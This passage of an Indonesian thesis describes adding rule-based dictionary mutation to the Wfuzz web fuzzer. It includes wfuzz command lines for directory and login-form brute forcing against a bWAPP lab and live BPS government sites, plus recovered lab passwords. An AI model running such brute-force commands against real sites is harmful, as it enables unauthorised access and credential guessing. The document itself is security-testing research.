google (google.co.id, google.com, google.es, dll). 

 

II.7   Peta Literature 

Penelitian sejenis yang telah dilakukan sebelumnya dibedakan menjadi dua 

sumber yaitu penelitiaan tentang fuzzing dan data generation. Berdasarkan 

penelitian Martorella dan Mendez membuat aplikasi Wfuzz sebagai alat untuk 

melakukan testing aplikasi web menggunakan dictionary attack. Sementara 

Yiannis pada penelitiannya menerangkan tentang perkembangan dictionary 

attack yang diterapkan pada aplikasi Hashcat. Peneliti menggunakan kedua 

peneliitian tersebut sebagai dasar untuk mengembangkan Wfuzz 

menggunakan rule based dictionary attack. 
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Gambar II.8 Peta Penelitian Sejenis 

Fuzzing Data Generation 

Aplikasi WFUZZ: 

Fuzzing - 
dictionary attack 

Aplikasi Hashcat: 
Rule Based 

Dictionary attack 

Wfuzz + rule 
based dictionary 

attack 
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Bab III  Metodologi 

 

III.1     Design Research Methodologies   

Metode penelitian yang digunakan dalam pengembangan model akan 

mengikuti konsep Design Research Methodology  (DRM). Terdapat 4 tahapan 

dalam melakukan penelitian berorientasi ‘desain’ sebagai berikut (L. Blessing, 

A. Chakrabarti, 2009)  :  

  

 

 

 

 

  

Keterangan:  

1. Research Clarification  

Pada tahapan ini dilakukan identifikasi masalah penelitian. Identifikasi 

tersebut digunakan didalam penelitian guna mengembangkan sebuah 

produk yang dapat memberikan solusi sebuah masalah secara efektif 

dan efisien. Selain identifikasi masalah, menentukan tujuan sementara 

dan batasannya juga dapat dibuat untuk membantu proses studi 

literatur terhadap penelitian sebelumnya. Studi literatur dan diskusi 

merupakan teknik penelitian yang digunakan pada fase ini.  

2. Understanding Design  

Langkah berikutnya adalah tinjauan terhadap produk dan solusi-solusi 

yang telah tersedia saat ini maupun dari penelitian sebelumnya. Setelah 

itu dengan informasi yang ada dirumuskan rancangan model solusi 

baru untuk menjawab masalah penelitian. Pada tahap ini juga 

ditentukan bagaimana cara mengimplementasikan model yang dibuat 

sebelumnya, dengan membuat produk yang baru atau mengembangkan 

produk yang telah tersedia. 

3. Developing Design  

Gambar III.1 Design Research Methodologies 

Research 

Clarification 

 

Understanding 

Design 

 

Developing 

Design 

 

Evaluating 

Design 
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Pada tahap ini dilakukan implementasi perancangan sebuah produk 

baru sebagai solusi, berdasarkan kepada identifikasi masalah serta 

solusi yang dibuat. Kegiatan developing design pada tahap ini meliputi 

akuisisi terhadap sumber daya yang dibutuhkan, guna mengubah 

inisiasi tujuan solusi menjadi sesuatu yang lebih konkret. Tahap ini 

membutuhkan pengetahuan mengenai teori yang digunakan untuk 

mendukung solusi dari sebuah permasalahan. 

4. Evaluating Design  

Tahap terakhir dilakukan penerapan dan pengukuran seberapa baik 

rancangan dan implementasi yang dibuat dalam menjawab 

permasalahan penelitian. Hal ini dapat dilakukan dengan 

membandingkan hasil demonstrasi dengan tujuan penelitian. 

Selanjutnya hasil tersebut dianalisis dalam penelitian sehingga 

didapatkan kesimpulan mengenai hasil penelitian. Setelah proses 

kegiatan evaluasi pada tahap ini selesai, tahapan penelitian dapat 

diulang atau dilakukan iterasi kembali ke tahap ketiga, yaitu 

developing design, untuk meningkatkan efektivitas dari produk yang 

dibuat. 

 

 III.2   Kerangka Kerja Penelitian 

Metodologi penelitian yang terpilih selanjutnya tergambar melalui rangkaian 

tahapan dalam penelitian seperti ditunjukkan pada Gambar III.2. Pada setiap 

tahapan terdapat masukan dan keluaran, dimana keluaran pada tahap 

sebelumnya akan menjadi masukan pada tahapan selanjutnya. 
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Gambar III.2 Kerangka kerja penelitian beserta masukan dan keluaran 
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III.2.1 Research Clarification 

Tahap ini dilakukan untuk mengidentifikasi dan memastikan masalah 

penelitian dengan cara melakukan wawancara terhadap narasumber terkait 

permasalahan yang ada lalu melakukan studi literatur tentang riset-riset 

sebelumnya tentang VA. Dari sekian banyak metode VA yang ada dengan 

kelebihan dan kekurangan masing-masing (M.Sutton, 2007) penulis 

memutuskan menggunakan metode fuzzing. Setelah melakukan hal tersebut 

penulis menentukan fokus masalah penelitian, dalam hal ini sepuluh potensi 

resiko keamanan aplikasi web yang paling sering muncul menurut OWASP 

(OWASP, 2013) akan menjadi pedoman. Selanjutnya  membuat usulan tujuan 

penelitian yang ingin dicapai serta batasan masalah.  

 

III.2.2 Understanding Design 

Dengan menggunakan data pada tahap sebelumnya, tahapan ini bertujuan 

untuk menentukan pemahaman yang lebih baik terhadap kondisi saat ini 

dengan melihat riset-riset yang telah dilakukan serta mempraktikannya, dalam 

hal ini peneliti mencoba melakukan fuzzing dengan fuzzer wfuzz. Penggunaan 

fuzzer yang telah ada bertujuan agar penelitian dapat lebih mendalam terkait 

apa yang belum dicapai dan tidak membuat ulang dari awal. 

 

Setelah itu mengevaluasi fuzzer wfuzz dan fuzzer lainnya dengan memahami 

kemampuan fuzzer saat ini dalam mengatasi sepuluh potensi resiko keamanan 

aplikasi web menurut OWASP. Hasil dari evaluasi tersebut antara lain: 

1. Fuzzer yang tersedia saat ini termasuk wfuzz sudah mampu 

mengidentifikasi sepuluh potensi resiko keamanan aplikasi web 

menurut OWASP. 

2. Dari sepuluh potensi keamanan tersebut dua diantaranya yakni Broken 

Authentication and Session Management serta Insecure Direct Object 

References dapat dideteksi lebih baik menggunakan metode fuzzing 

dibanding metode automatisasi scan source code untuk pendekatan 

yang sama yakni black box. 
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3. Sebagian besar Fuzzers yang tersedia saat ini termasuk wfuzz 

menggunakan kamus yang berisi kata atau frase untuk diinput baik ke 

URL, parameter, header, dll. Kelemahan kamus ini adalah bersifat 

statis dan memungkinkan adanya duplikasi kata atau frase jika 

dibandingkan kamus dari sumber yang berbeda. 

4. Penggunaan dictionary yang ada saat ini sebagian besar menggunakan 

kata dalam bahasa inggris. Penggunaan untuk dilakukan pada website 

lokal masih sulit ditemukan. 

Berdasarkan evaluasi tersebut lalu dibuat model pengembangan wfuzz yang 

bertujuan untuk mengatasi masalah yang ada. 

 

III.2.3 Developing Design 

Pada tahap ini membahas bagaimana dengan menggunakan informasi yang di 

dapat dari dua tahap sebelumnya. Selanjutnya penulis melakukan analisa 

terhadap penggunaan rules yang akan digunakan. Dalam hal ini penulis 

menggunakan operator rules yang juga digunakan oleh Chrysanthou Yiannis 

(Chrysanthou Yiannis, 2013) dan sudah diterapkan pada beberapa aplikasi 

seperti Hashcat, Passwordpro,dll. Penerapan ini akan mempermudah 

penggunaan rules yang sama.  

 

III.2.4 Evaluating Design 

Selanjutnya membahas bagaimana studi empiris dapat digunakan untuk 

mengevaluasi hasil dan dampak pengembangan desain yang telah dilakukan. 

Pada tahap ini penulis melakukan evaluasi tentang jenis kerentanan apa saja 

yang berhasil ditemukan, catatan waktu, kekurangan aplikasi, hasil penelitian 

serta saran untuk penelitian mendatang. 
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Bab IV Perancangan dan Implementasi 
 

Bab ini membahas perancangan dan implementasi automatic rule based 

dictionary attack pada fuzzer wfuzz. Hasil perancangan akan digunakan 

sebagai pedoman dalam pembuatan aplikasi pada tahap implementasi. Pada 

Bab I sudah dijelaskan aplikasi Wfuzz yang peneliti gunakan sudah 

menggunakan dictionary sebagai sumber input fuzzing terhadap website. 

Penggunaan dictionary dalam bentuk file txt yang sudah tersedia pada aplikasi 

wfuzz.  

 

Penggunaan rule based dictionary sebagai pengembangan aplikasi wfuzz 

memungkinkan fleksibilitas input fuzzing yang lebih tinggi dibanding dengan 

hanya menggunakan dictionary. Selain itu automatisasi pembuatan dictionary 

dan rule juga memudahkan user membuat dictionary atau rule sesuai dengan 

kebutuhannya.   

 

Perancangan pengembangan aplikasi Wfuzz meliputi: menambah sumber 

input fuzzing yakni penggunaan rule based dictionary, automatisasi 

pembuatan dictionary dan automatisasi pembuatan rule. Gambaran umum 

rancangan dapat dilihat pada gamba IV.1  

 

Generate 

Dictionary

Generate Rule

Dictionary

Rule

Rule Base Dictionary 

Attack

Output

Input

Input

Output

Output

Input

Input

Input URL Target

Input keyword

Input keyword

Output

 

Gambar IV.1 Gambaran umum aplikasi ruled based dictionary attack dengan 

automatisasi pembuatan dictionary dan rule 
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Pada Gambar IV.1 menunjukkan tiga proses utama dalam melakukan 

serangan. Pembuatan dictionary dan rules akan dilakukan pada tahap pertama 

untuk mendapatkan file dictionary dan rules yang nantinya akan digunakan 

pada tahap kedua yakni saat melakukan serangan dictionary berbasis rule. 

Ketiga proses tersebut akan dijalankan pada aplikasi yang terpisah. Sehingga 

jika terjadi kesalahan dalam salah satu aplikasi tidak akan mempengaruhi 

output dari aplikasi yang lain. 

 

IV.1 Perancangan Ruled Based Dictionary attack 

Perancangan Ruled Based Dictionary attack merupakan pengembangan utama 

aplikasi wfuzz. Jika pada serangan dictionary biasa aplikasi hanya 

membutuhkan dictionary sebagai input, pada rule based dictionary attack 

dibutuhkan tambahan yakni file rule. Diagram alur aplikasi rule based 

dictionary attack dapat dilihat pada Gambar IV.2. Rule berfungsi sebagai 

dasar dilakukannya mutasi setiap kata dalam dictionary yang tersedia. Hasil 

mutasi tersebut akan digunakan sebagai input serangan. 

Start

Generate 

Request

Input 

Target

Fuzzing Engine

Website Target

Output

End

Dictionary.txt
Rule.txt

 

Gambar IV.2  Diagram alur aplikasi wfuzz dengan rule based dictionary attack 

 



28 

 

Rule merupakan gabungan satu atau lebih fungsi mutasi kata yang disebut 

operator. Dalam hal ini penulis akan menggunakan operator rules yang juga 

digunakan oleh Chrysanthou Yiannis (Chrysanthou Yiannis, 2013) dan sudah 

diterapkan pada beberapa aplikasi seperti Hashcat, Passwordpro,dll. 

Penerapan ini bertujuan rule yang sudah ada dan dikembangkan oleh aplikasi 

lain dapat juga diterapkan pada Wfuzz. Operator rules yang digunakan tampak 

pada tabel berikut: 

Tabel IV.I Operator Rules 

No Operato

r 

Fungsi  operator Rules Input Output 

1 : Tetap : 

Password 

Password 

2 L Semua huruf kecil L Password 

3 C Mengubah huruf pertama 

menjadi kapital 

C Password 

4 U Semua huruf kapital U PASSWOR

D 

5 T Mengubah huruf kecil 

menjadi kapital dan 

sebaliknya 

T pASSWOR

D 

6 tX Mengubah karakter ke X 

dari huruf besar ke kecil dan 

sebalikya 

t3 PasSword 

7 $X Menambah 1 karakter X 

dibelakang kata 

$e$d$2

$0 

Passworde

d20 

8 +X Menambah 1 karakter X 

didepan kata 

+1+2+

3 

123Passwo

rd 

9 [ Hapus huruf pertama 

sebanyak jumlah [ 

[[ Ssword 

10 ] Hapus huruf terakhir 

sebanyak jumlah ] 

] Passwor 

11 DN Hapus karakter posisi N D1 Pssword 

12 ‘N Hapus huruf mulai posisi N ‘5 Passw 

13. ZN Duplikat huruf terakhir Z2 Passwordd
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sebanyak N kal d 

14 D Duplikat kata D PasswordP

assword 

15 sXY Ganti karakter X dengan Y sa@ P@ssword 

 

Dalam perancangan rule based dictionary attack menggunakan pemodelan 

Unified Model Language (UML). UML dalam penelitian ini berfungsi sebagai 

pemodelan yang terdiri atas use case diagram dan activity diagram. 

 

Use case diagram 

User

Ruled Base Dictionary Attack

Tentukan Dictionary

<<include>>

Tentukan Rule

Tentukan Target

<<include>>

<<include>>

 

Gambar IV.3  Use case diagram aplikasi rule based dictionary attack 

 

Gambar IV.3 menunjukkan use case diagram dari aplikasi rule based 

dictionary attack. Aplikasi ini dijalankan user dengan mengetikkkan perintah 

pada command prompt. Pada case ini aplikasi melakukan rule based dictionary 

attack pada website target yang telah ditentukan. Aplikasi membutuhkan 

dictionary, rule dan target website yang dituju untuk melakukan serangan. 

Dictionary dan rule yang dibutuhkan dapat berupa file txt ataupun berupa list 

yang dapat langsung user input. 
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Activity Diagram 

Rule Based Dictionary Attack

User Aplikasi Wfuzz Website Target

Tentukan Dictionary

Tentukan Rules

Tentukan Target
Hitung Jumlah 

Request

[Selesai]

Eksekusi Request Cek Request

Tampilkan Response

Cek 
Request

[Masih Ada]

Tampilkan Waktu

 

Gambar IV.4 Activity Diagram Rule based dictionary attack 
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Gambar IV.4 menunjukkan activity diagram dari aplikasi rule based dictionary 

attack. Terdapat tiga object dalam aplikasi ini yakni user, aplikasi, dan website 

target. Tahapan proses serangan seperti yang tampak pada Gambar IV.4 

adalah sebagai berikut: 

1. User menginput dictionary, rule dan target dalam satu kalimat perintah 

yang dijalankan pada command prompt. 

2. Aplikasi akan mengidentifikasi dictionary, rule serta target yang telah 

ditentukan. Aplikasi kemudian menghitung jumlah request yang akan 

dilakukan. Kemudian satu persatu request akan dijalankan secara acak. 

3. Request dijalankan menuju target lalu program menunggu response dari 

target. 

4. Response diterima lalu ditampilkan pada command prompt. Isi response 

yang ditampilkan meliputi responde code, lines, word , chars, dan request. 

5. Aplikasi akan memeriksa apakah jumlah request sudah sesuai dengan 

jumlah request pada tahap 2. Jika belum maka aplikasi akan melanjutkan 

request dan jika sudah maka aplikasi akan ke tahap selanjutnya. 

6. Aplikasi akan menghitung waktu total yang dibutuhkan untuk melakukan 

request serta waktu rata-rata tiap request. 

7. Aplikasi selesai berjalan. 

 

IV.2    Perancangan Automatic Generate Dictionary 

Automatic Generate Dictionary merupakan aplikasi yang bertujuan untuk 

membuat dictionary secara otomatis. Peran dictionary dalam menentukan 

keberhasilan suatu serangan sangatlah tinggi. Secara umum bagaimana alur 

aplikasi bekerja dapat dilihat pada Gambar IV.6. Dictionary yang akan dibuat 

pada aplikasi ini berasal dari kode html satu atau lebih website yang kemudian 

dipisahkan menjadi kata-kata. Alamat website itu merupakan output dari 

pencarian pada Google search yang digenerate langsung oleh program. 
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Dalam perancangan automatic generate dictionary menggunakan pemodelan 

Unified Model Language (UML). UML dalam penelitian ini berfungsi sebagai 

pemodelan yang terdiri atas use case diagram dan activity diagram 

 

 

 

 

 

Start

Request URL

Input 

Keyword

Mengambil 

Kode HTML

Website Target

End

Google Search

Memisahkan Kode 

HTML Menjadi 

Perkata

Validasi Kata 

(Sort, Duplicat, 

Length)

Dictionary.txtCetak 

Dictionary

Gambar IV.5  Diagram alur aplikasi automatic generate dictionary 
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Use Case Diagram 

User

Generate Dictionary

Tentukan Kata Kunci

<<include>>

Tentukan Nama file

Tentukan Jumlah Sumber

<<include>>

<<include>>

 

Gambar IV.6 Use case diagram aplikasi automatic generate dictionary 

 

Gambar IV.6 menunjukkan use case diagram dari aplikasi automatic generate 

dictionary. Aplikasi ini dijalankan user dengan mengetikkkan perintah pada 

command prompt. Pada case ini untuk membuat suatu dictionary aplikasi 

membutugkan input berupa kata kunci pembuatan dictionary, nama file txt 

untuk output dictionary dan jumlah sumber website. Aplikasi ini bekerja 

dengan terlebih dahulu melakukan pencarian pada Google search berdasarkan 

kata kunci yang diinput. Lalu seberapa banyak hasil pencarian yang akan 

digunakan dibatasi oleh jumlah sumber website yang juga diinput oleh user. 
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Activity Diagram 

Generate Dictionary

User Client Website

Tentukan Kata Kunci

Tentukan Nama File

Tentukan Jumlah 
Sumber Website = n

Generate Request

[Iterasi = n]

Mendapatkan URL 
dari Google

Cek URLGenerate Request

Cek iterasi

Validasi kata (Sort, 
Filter, Duplicate)

Google Searching 
"Kata Kunci"

Get Source HTML 
URL

Pisah HTML menjadi 
perkata dan simpan

[Iterasi < n] 

Simpan hasil ke file 
txt

 

Gambar IV.7 Activity diagram aplikasi automatic generate rule 

 

Gambar IV.7 menunjukkan activity diagram dari aplikasi rule automatic 

generate dictionary. Terdapat tiga object dalam aplikasi ini yakni user, 
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aplikasi, dan website. Tahapan proses pembuatan dictionary adalah sebagai 

berikut: 

 

1. User menginput kata kunci, nama file dan jumlah sumber website dalam 

satu kalimat perintah yang dijalankan pada command prompt. 

2. Aplikasi akan mengidentifikasi ketiga input yang telah ditentukan. 

Aplikasi kemudian melakukan request pencarian berdasarkan kata kunci 

pada google search. 

3. Request dijalankan menuju google search lalu aplikasi menerima response 

berupa URL-URL hasil pencarian. 

4. Response diterima lalu disimpan dalam array. Lalu aplikasi akan kembali 

melakukan request menuju URL hasil pencarian. 

5. Request dijalankan menuju URL. Website mengirim response berupa kode 

HTML dari halaman yang dituju. 

6. Aplikasi menyimpan kode HTML kemudian melakukan filter terhadap 

javascript dan melakukan pemisahan kode menjadi perkata. Hasilnya 

kemudian ditambahkan dalam array dictionary. 

7. Aplikasi akan memeriksa apakah jumlah request sudah sesuai dengan 

jumlah sumber website yang diinput diawal. Jika belum maka aplikasi 

akan melanjutkan request (kembali ke tahap 5) dan jika sudah maka 

aplikasi akan ke tahap selanjutnya. 

8. Aplikasi akan melakukan validasi terhadap array dictionary berupa 

pengurutan kata, penghapusan yang panjangnya kurang dari 3, 

penghapusan kata yang terdiri dari hanya angka, dan penghapusan duplikat 

kata. 

9. Aplikasi akan menyimpan array dictionary yang telah divalidasi ke dalam 

file berformat txt. 

10. Aplikasi selesai berjalan. 
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IV. 3  Perancangan Aplikasi Automatic Generate Rule 

Automatic Generate Rule merupakan aplikasi yang bertujuan untuk membuat 

rule secara otomatis. Rule berfungsi sebagai dasar mutasi yang akan dilakukan 

pada tiap kata dictionary. Secara umum bagaimana alur aplikasi bekerja dapat 

dilihat pada Gambar IV.10. Untuk membuat rule aplikasi user menginputkan 

kata kunci. Lalu aplikasi akan membuat setiap kemungkinan rule yang dapat 

terbentuk. Setelah itu akan dipilih secara acak rule untuk selanjutnya dicetak 

pada file berformat text. 

 

Start

Buat Semua 

Kemungkinan 

Rule

Input Keyword 

dan Jumlah 

Rule (N)

Pilih Rule 

Secara Random 

Sejumlah N

End

Rule.txt
Cetak Rule

 

Gambar IV.8 Diagram Alur Automatic Generate Rule 
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Dalam perancangan automatic generate rule menggunakan pemodelan Unified 

Model Language (UML). UML dalam penelitian ini berfungsi sebagai 

pemodelan yang terdiri atas use case diagram dan activity diagram.. 

 

 

Use Case Diagram 

User

Generate Rule

Tentukan Kata Kunci

<<include>>

Tentukan Nama file

Tentukan Jumlah Rule

<<include>>

<<include>>

 

Gambar IV.9 Diagram use case aplikasi automatic generate rule 

 

Gambar IV.9 menunjukkan use case diagram dari aplikasi automatic generate 

rule. Aplikasi ini dijalankan user dengan mengetikkkan perintah pada 

command prompt. Pada case ini untuk membuat suatu rule aplikasi 

membutuhkan input berupa kata kunci pembuatan rule, nama file txt untuk 

output rule dan jumlah sumber rule. Aplikasi ini bekerja dengan terlebih 

dahulu melakukan listing terhadap semua kemungkinan rule yang bisa 

dibentuk berdasarkan kata kunci yang diinput. Lalu jumlah rule yang akan 

disimpan pada file text akan dibatasi oleh jumlah rule yang diinput user. 
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Activity Diagram 

 

Generate Rules

User Client

Tentukan Kata Kunci

Tentukan Nama File

Tentukan Jumlah 
Rules = n

Pecah kata kunci 
menjadi N-gram

Buat Semua 
Kemungkinan Rule

Pilih Random Rule 
sebanyak n

Simpan hasil ke file 
txt

 

Gambar IV.10 Activity Diagram Automatic Generate Rule 

 

Gambar IV.10 menunjukkan activity diagram dari aplikasi rule automatic 

generate rule. Terdapat dua object dalam aplikasi ini yakni user dan aplikasi. 

Tahapan proses pembuatan rule adalah sebagai berikut: 
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1. User menginput kata kunci, nama file dan jumlah rule yang diinginkan 

dalam satu kalimat perintah. 

2. Aplikasi akan mengidentifikasi ketiga input yang telah ditentukan. 

Aplikasi kemudian membuat setiap kemungkinan rule yang dapat 

dibentuk. Rule dibuat dengan mengkombinasikan antara setiap operator 

yang ada dengan N-gram dari string kata kunci. 

3. Setelah itu aplikasi akan memilih secara acak sebanyak jumlah rule yang 

ditentukan diawal tahap. Rule tersebut kemudian disimpan dalam file text 

4. Aplikasi selesai berjalan. 
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Bab V Implementasi dan Pengujian 

 

V. 1  Implementasi 

Implementasi dilakukan dengan  menyusun prototype berdasarkan hasil 

perancangan pada Bab IV.  Prototype  dibagi menjadi tiga bagian, yaitu Ruled 

Based Dictionary Attack, Automatic Generate Dictionary dan Automatic 

Generate Rule. Ketiga aplikasi ini diimplementasikan dengan bahasa 

pemrograman Python.  

 

V.1.1  Implementasi Ruled Based Dictionary Attack 

Aplikasi ruled based dictionary attack merupakan pengembangan dari aplikasi 

Wfuzz versi 2.1.4. Terdapat dua class yang ditambahkan pada aplikasi wfuzz 

agar implementasi rule base dictionary attack dapat berjalan yakni class 

clparser, chain_mutation dan MutationIterator. Penjelasan ketiga class tersebut 

adalah sebagai berikut: 

1. Class Clparser berfungsi untuk melakukan penguraian perintah yang 

diinputkan. Class ini memiliki 11 method yakni :  

o Init untuk set variabel. 

o Show_brief_usage menampilkan informasi cara penggunaan secara 

singkat ketika ditemukan kesalahan argumen atau opsi. 

o Parse_show_usage menampilkan informasi cara penggunaan secara 

lengkap. 

o Show_plugins_help menampilkan informasi tentang plugins script 

(plugins/script). 

o Parse_cl menguraikan opsi dan argumen yang diinputkan atau 

menghentikan eksekusi. 

o Parse_help_opt menampilakan informasi bantuan sesuai opsi yang 

diberikan. 

o Check_options melakukan pengecekan apakah opsi yang diberikan 

sudah memenuhi kriteria jika tidak maka akan menyebabkan 

eksekusi berhenti. 

o Parse_filters melakukan pengecekan terhadap opsi filter yang 

dipakai dan mengembalikan informasi filter dalam bentuk array. 
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o Parse_payload melakukan pengecekan terhadap opsi payload yang 

dipakai dan mengembalikan informasi payload dalam bentuk 

object kelas zip atau product atau chain. 

o Parse_seed melakukan pengecekan terhadap opsi request yang 

dipakai dan mengembalikan informasi reuqest dalam bentuk object 

kelas FuzzRequest. 

o Parse_options melakukan pengecekan terhadap opsi alternatif8 

yang dipakai (-p, -R, -v, -c, -A dll). 

 

2. Class Chain_mutation berfungsi untuk melakukan iterasi metode chain 

terlebih dahulu, kemudian melakukan mutasi setiap hasil iterasinya. Berikut 

penjelasan fungsi dan method dari class ini: 

o Init sebagai inisialisasi proses. 

o Restart melakukan restart ketika user melakukan interupsi melalui 

keyboard. 

o Count mengembalikan jumlah iterasi yang ditampilkan sebagai total 

request. 

o Next fungsi wajib bagi iterable object yang mengembalikan nilai 

iterasi selanjutnya. 

o Iter properti yang mengidentifikasi bahwa suatu class adalah iterable. 

 

3. Class Mutationiterator berfungsi untuk melakukan mutasi dengan rule. 

Berikut penjelasan fungsi dan method dari class ini: 

o Init sebagai inisialisasi proses. 

o Iter properti yang mengidentifikasi bahwa suatu class adalah iterable. 

o GenerateMutationAgent mempersiapkan agen mutasi dari masukan 

argumen –ma atau  mutation-agent yang telah diberikan. 

o StripLines menghapus karakter unicode enter, whitespace, tab dsb 

pada string 

o StartMutation memulai proses mutasi dengan memanggil method 

createMutant, lalu menyimpanya dalam properti mutationResults dan 

menghitung hasilnya. 
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o CreateMutant membuat mutant secara recursive dan menyimpanya 

dalam properti createdMutant 

o GetMutationGenerationCount mengembalikan banyaknya generasi 

mutasi atau jumlah string hasil mutasi. 

o GetMutationResult mengembalikan hasil mutasi dalam list. 

o Next mengembalikan hasil mutasi selanjutnya sampai habis. 

 

 

V.1.2. Implementasi Automatic Generate Dictionary 

Aplikasi automatic generate dictionary terdiri dari 5 fungsi utama yakni: 

initials, request_url, get_code, filter, dan print. Selain itu aplikasi juga 

menggunakan 6 library python yakni: beautifulsoup, time,  re, request, google 

dan warnings. Penjelasan lebih lanjut terkait fungsi pada aplikasi ini adalah 

sebagai berikut: 

o Initials berfungsi melakukan pemanggilan input aplikasi, filter pesan, 

dan memulai perhitungan waktu. Fungsi ini memerlukan library 

warnings dan time.  

o Request_url berfungsi untuk melakukan request pencarian ke google 

search dan mendapatkan url hasil pencarian. Fungsi ini menggunakan 

library google. 

o Get_code berfungsi untuk memisahkan url hasil pencarian, mengambil 

source code html dari url dan menghapus karakter html yang tidak 

diperlukan. Fungsi ini menggunakan library requests, re dan 

beautifulsoup. 

o Filter  berfungsi melakukan seleksi dan pengurutan terhadap string 

yang telah disimpan.  

o Print berfungsi melakukan cetak hasil ke file text dan menampilkan 

waktu proses pembuatan dictionary. Fungsi ini memerlukan library 

time. 

 



43 

 

V.1.3 Implementassi Automatic Generate Rule 

Aplikasi automatic generate rule terdiri dari 4 fungsi utama yakni: initials, 

ngrams, iter, dan print. Selain itu aplikasi juga menggunakan 2 library python 

yakni: random dan product. Penjelasan lebih lanjut terkait fungsi pada aplikasi 

ini adalah sebagai berikut: 

o Initials berfungsi melakukan pemanggilan input aplikasi dan inisiasi 

rule awal.  

o Ngrams berfungsi untuk melakukan pemecahan string dan 

menggabungkannya pada operator yang tersedia untuk membuat rule.  

o Iter berfungsi untuk melakukan iterasi kombinasi terhadap rule awal 

dengan rule ngrams. Fungsi ini menggunakan product. 

o Print berfungsi melakukan pemilihan rule yang akan dicetak secara 

random lalu menyimpannya dalam bentuk file text. Fungsi ini 

memerlukan library time. 

 

 

 

V.2 Pengujian 

V.2.1 Lingkungan Pengujian 

Pengujian dilakukan pada dua jenis lingkungan yakni lokal dan online. Pada 

lingkungan lokal pengujian dilakukan terhadap website  BWAPP yang 

dipasang menggunakan web server apache dan database mysql. Sementara 

untuk lingkungan online pengujian akan dilakukan terhadap website BPS RI, 

BPS Provinsi Aceh, dan BPS Provinsi Papua Barat. Berikut pada tabel V.1 

menjelaskan spesifikasi perangkat uji yang digunakan. 

 

Tabel V.I Tabel Spesifikasi Pengujian 

Keterangan Spesifikasi 

Processor Intel Core i5 @2.3GHz 

RAM 4 GB 

OS Windows 7 

Web Server Xampp, Apache 
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Lokal 

Db Server Lokal Xampp, MySQL 

Website Lokal DWAPP v2.2 

Internet 10 Mbps 
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V.2.2  Uji Kinerja 

V.2.2.1  Uji kinerja localhost 

1. Fuzz direktori BWAPP 

Tahap pertama sebelum dilakukan fuzzing terhadap direktori web BWAPP 

adalah dengan membuat dictionary dan rule. Berikut adalah screenshoot 

proses pembuatan dictionary dan rule yang akan dipakai pada proses 

selanjutnya. 

 

 

 

Gambar V.1 Gambaran saat file dictionary dan rule dibuat. 

 

Selanjutnya setelah mendapatkan dictionary dan rule akan dilakukan fuzzing 

dengan kode perintah: 

1. wfuzz.py -c -z file,wordlist/new/bwapp.txt –z file,wordlist/general/ 

extencom.txt --hc 404 http://localhost/bwapp/FUZZFUZ2Z 

2. wfuzz.py -c -z file,wordlist/new/bwapp1web.txt chain_mutation --mutation-

agent file,wordlist/new/bwapprule.txt --hc 200 http://localhost/bwapp/ 

FUZZ. 

Hasil dari perintah tersebut adalah ada pada tabel V.2. 

 

 

 

 

http://localhost/bwapp/%20FUZZ
http://localhost/bwapp/%20FUZZ
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Tabel V.2 Hasil Pengujian Fuzzing directori/files pada Bwapp 

No Pengujian 

Input Output 

Jumlah 

Dictionary 

Jumlah 

Rule 

Jumlah 

Ekstensi 

Total 

Request 

Halaman 

web 
Folder File 

1 Tanpa Rule 4.284  11 47.124 22 6 4 

2 Dengan 

Rule 

786 100 3 235.800 20(3) 6(2) 3(1) 

 

Dari hasil Tabel V.2 dapat dilihat dictionary yang dibuat secara otomatis 

bersumber dari 10 website menghasilkan 4.284 kata sementara bersumber paa 

1 website terastas menghasilkan 786 kata. Kedua dictionary ini selanjutnya 

dilakukan fuzzing terhadap web Bwapp. Percobaan pertama menggunakan 

dictionary dengan 4.284 kata dan 11 ekstensi menghasilkan sejumlah 22 

halaman web valid, 6 folder url terbuka dan 4 buah file. Sementara pada 

percobaan kedua menggunakan dengan 786 kata, 100 rule dan 3 ekstensi 

menghasilkan lebih sedikit output yakni 20 halaman web, 6 folder dan 1 file 

namun ditemukan 3 halaman, 2 folder, dan 1 file yang berbeda dibanding 

percobaan pertama.  

 

2. Fuzz login form BWAPP 

Selanjutnya pada pengujian kedua yakni fuzzing login form pada web 

BWAPP. Untuk dictionary username digunakan empat nama bee, admin, yogi 

dan itb. Sementara untuk dictionary password dasar ada dua yakni admin dan 

password. Selanjutnya menggunakan automatic generate rule dibuat sebanyak 

5799 rule (Gambar V.2). Ketiiga parameter tersebut lalu dilakukan fuzzing 

dan hasilnya keempat password dapat ditemukan seperti yang terdapat pada 

tabel V.3 

 

Gambar V.2 Gambaran saat file rule BWAPP dibuat. 
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Tabel V.3 Hasil Pengujian Fuzzing Terhadap Form Login pada Bwapp 

No Website Input Output 

Username Dictionary Rule Total 

Request 

Username Password 

1 http://localh

ost/bwapp/l

ogin.php 

 

Bee 

2 5.799 11.598 

Bee @dmin567 

Admin Admin pAssword12 

Yogi Yogi 123pa55wor

d 

Itb Itb p@55w0rdb

@ndung 

 

Dari tabel V.3 dapat dilihat dengan dua buah dictionary dasar yakni admin dan 

password dapat bermutasi sedemikan beragam sesuai dengan kata kunci saat 

akan membuat rule. Keempat password yang digunakan dapat diketahui walau 

sudah mengalami perubahan yang cukup besar dari kata dasarnya. 

 

    V.2.2.2  Uji Kinerja Website Online 

 

1. Fuzz URL Direktori Website Online 

Sama seperti pengujian sebelumnya. Tahap pertama adalah dengan membuat 

dictionary dan rule yang akan dibutuhkan. Untuk mendapatkan hasil yang 

lebih baik setiap target akan dibuatkan dictionary berbeda yang dibuat 

berdasarkan kata kunci target. Selanjutnya setelah dictionary dan rule dibuat 

fuzzing dapat dilakukan ke website target. Kode perintah yang digunakan 

yakni:  

 

“wfuzz.py -c -z file,dictio/bpsri.txt -m chain_mutation --mutation-agent list,:-

+1-+2-+3-$1-$2-$3-$s-$h$q-$2$0$1$6 --hc 404 https://bps.go.id/FUZZ/” 

http://localhost/bwapp/login.php
http://localhost/bwapp/login.php
http://localhost/bwapp/login.php
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       Tabel V.4 Hasil Pengujian Fuzzing directori/files pada Website 

No Website Input Output 

Jumlah 

Dictionary 

Jumlah 

Rule 

Jumlah 

Ekstensi 

Total 

Request 

Halaman 

web lain 

(.php) 

Login 

Form 

File/ 

Folder 

1 BPS RI 1.320 10 3 39.600 4 2 - 

2 BPS Aceh 1.091 10 3 32.730 1 1 - 

3 BPS Irian 

Jaya Barat 

1.679 10 3 50.370 12 2 - 

 

Pada Tabel V.4 setelah membentuk dictionary yang berbeda untuk masing-

masing target selanjutnya hasil dari fuzzing tiap target menunjukkan. Ketiga 

target tidak ditemui adanya file/folder yang dapat diakses sebagaimana 

